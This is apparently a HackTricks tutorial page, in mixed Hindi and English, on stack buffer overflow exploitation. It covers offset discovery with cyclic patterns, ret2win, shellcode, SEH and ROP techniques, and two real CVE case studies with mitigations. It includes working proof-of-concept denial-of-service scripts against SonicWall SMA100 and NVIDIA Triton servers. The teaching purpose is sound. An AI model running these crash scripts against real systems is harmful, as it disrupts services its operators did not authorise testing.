Stack Overflow
Reading time: 12 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Stack Overflow क्या है
A stack overflow एक vulnerability है जो तब होती है जब कोई program stack में उस से अधिक data लिख देता है जितना उसके लिए allocate किया गया है। यह अतिरिक्त data overwrite adjacent memory space कर देगा, जिससे valid data का corruption, control flow में बाधा, और संभावित रूप से malicious code का execution हो सकता है। यह समस्या अक्सर unsafe functions के इस्तेमाल के कारण होती है जो input पर bounds checking नहीं करते।
इस overwrite की मुख्य समस्या यह है कि saved instruction pointer (EIP/RIP) और वह saved base pointer (EBP/RBP) जो previous function पर लौटने के लिए होते हैं, stack पर stored होते हैं। इसलिए, एक attacker उनको overwrite करके प्रोग्राम के execution flow को control the execution flow of the program कर सकेगा।
यह vulnerability आमतौर पर तब उत्पन्न होती है जब कोई function stack के अंदर allocated मात्रा से अधिक bytes copy कर देता है, जिससे वह stack के अन्य हिस्सों को overwrite कर सकता है।
कुछ सामान्य functions जो इस के प्रति vulnerable होते हैं: strcpy
, strcat
, sprintf
, gets
... साथ ही, ऐसे functions जैसे fgets
, read
& memcpy
जो एक length argument लेते हैं, vulnerable तरीके से इस्तेमाल किए जा सकते हैं अगर निर्दिष्ट length allocated से अधिक हो।
उदाहरण के लिए, निम्नलिखित functions vulnerable हो सकते हैं:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Finding Stack Overflows offsets
The most common way to find stack overflows is to give a very big input of A
s (e.g. python3 -c 'print("A"*1000)'
) and expect a Segmentation Fault
indicating that the address 0x41414141
was tried to be accessed.
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to overwrite the return address, for this it's usually used a De Bruijn sequence. Which for a given alphabet of size k and subsequences of length n is a cyclic sequence in which every possible subsequence of length n appears exactly once as a contiguous subsequence.
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use pwntools for this:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
या GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
सबसे सामान्य तरीका इस प्रकार की vulnerability का दुरुपयोग करने का यह है कि आप return address को modify कर दें ताकि जब function समाप्त हो तो control flow उस पते पर redirect हो जाए जिसे attacker ने निर्दिष्ट किया है।
However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).
हालाँकि, अन्य परिस्थितियों में सिर्फ stack में कुछ variables के मान overwrite कर देना exploit के लिए पर्याप्त हो सकता है (जैसे आसान CTF challenges में)।
Ret2win
In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:
Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
इस स्थिति में attacker stack में shellcode रख सकता है और controlled EIP/RIP का उपयोग करके shellcode पर jump कर arbitrary code execute करवा सकता है:
Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
32-bit Windows पर, overflow saved return address के बजाय Structured Exception Handler (SEH) chain को overwrite कर सकता है। Exploitation आम तौर पर SEH pointer को एक POP POP RET gadget से replace करता है और 4-byte nSEH field का उपयोग एक short jump के लिए करता है ताकि वह बड़े buffer में वापस pivot कर सके जहाँ shellcode मौजूद है। एक सामान्य पैटर्न यह है कि nSEH में छोटा jmp होता है जो nSEH के ठीक पहले रखे गए 5-byte near jmp पर land करता है ताकि payload की शुरुआत तक सैकड़ों bytes पीछे कूदा जा सके।
ROP & Ret2... techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
यह technique पुराने तरीके की मुख्य सुरक्षा को bypass करने के लिए मूल framework है: No executable stack (NX)। और यह कई अन्य techniques (ret2lib, ret2syscall...) करने की अनुमति देता है जो binary में मौजूद instructions का दुरुपयोग कर arbitrary commands execute करवा देंगी:
ROP - Return Oriented Programing
Heap Overflows
An overflow is not always going to be in the stack, it could also be in the heap for example:
Overflow हमेशा stack में ही नहीं होता, यह उदाहरण के तौर पर heap में भी हो सकता है:
Types of protections
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
विभिन्न protections मौजूद हैं जो vulnerabilities के exploitation को रोकने की कोशिश करती हैं; इन्हें नीचे देखें:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why sscanf
should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
यह एक अच्छा उदाहरण है कि क्यों sscanf
को untrusted input parsing के लिए कभी भरोसा नहीं किया जाना चाहिए — यह मामला 2025 में SonicWall के SMA100 SSL-VPN appliance में सामने आया।
The vulnerable routine inside /usr/src/EasyAccess/bin/httpd
attempts to extract the version and endpoint from any URI that begins with /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- पहला conversion (
%2s
) सुरक्षित रूप सेversion
में दो bytes स्टोर करता है (उदा."v1"
). - दूसरा conversion (
%s
) कोई length specifier नहीं रखता, इसलिएsscanf
पहले NUL byte तक कॉपी करता रहेगा। - क्योंकि
endpoint
stack पर स्थित है और इसकी लंबाई 0x800 bytes है, 0x800 bytes से लंबा path देने पर buffer के बाद जो कुछ भी है वह corrupt हो जाता है ‑ जिसमें stack canary और saved return address भी शामिल हैं।
एक single-line proof-of-concept authentication से पहले crash trigger करने के लिए पर्याप्त है:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
हालाँकि stack canaries प्रक्रिया को abort कर देते हैं, attacker फिर भी एक Denial-of-Service primitive हासिल कर लेता है (और अतिरिक्त information leaks के साथ, संभवतः code-execution)। सबक सरल है:
- हमेशा एक maximum field width प्रदान करें (उदा.
%511s
)। - ऐसे सुरक्षित विकल्पों को प्राथमिकता दें:
snprintf
/strncpy_s
।
वास्तविक उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA का Triton Inference Server (≤ v25.06) में कई stack-based overflows थे जो इसके HTTP API के माध्यम से पहुँच योग्य थे।
यह कमजोर पैटर्न बार-बार http_server.cc
और sagemaker_server.cc
में दिखाई दिया:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) वर्तमान HTTP request body को बनाने वाले आंतरिक बफ़र सेगमेंट्स की संख्या लौटाता है.- प्रत्येक सेगमेंट
alloca()
के माध्यम से stack पर एक 16-byteevbuffer_iovec
को आवंटित कराता है – कोई ऊपरी सीमा नहीं. - दुरुपयोग करके HTTP chunked transfer-encoding, एक क्लाइंट अनुरोध को सैकड़ों-हज़ारों 6-byte खंडों (
"1\r\nA\r\n"
) में बाँटने को मजबूर कर सकता है। यहn
को बिना सीमा के बढ़ा देता है जब तक कि stack समाप्त न हो जाए.
प्रूफ-ऑफ़-कॉन्सेप्ट (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
लगभग 3 MB की एक request saved return address को overwrite करने और default build पर daemon को क्रैश करने के लिए पर्याप्त है।
पैच और निवारण
25.07 release असुरक्षित stack allocation को heap-backed std::vector
से बदलता है और std::bad_alloc
को सहजता से हैंडल करता है:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
सीखे गए पाठ:
- कभी
alloca()
को attacker-controlled sizes के साथ कॉल न करें। - Chunked requests सर्वर-side buffers के आकार को नाटकीय रूप से बदल सकते हैं।
- client input से प्राप्त किसी भी value को memory allocations में उपयोग करने से पहले Validate / cap करें।
संदर्भ
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।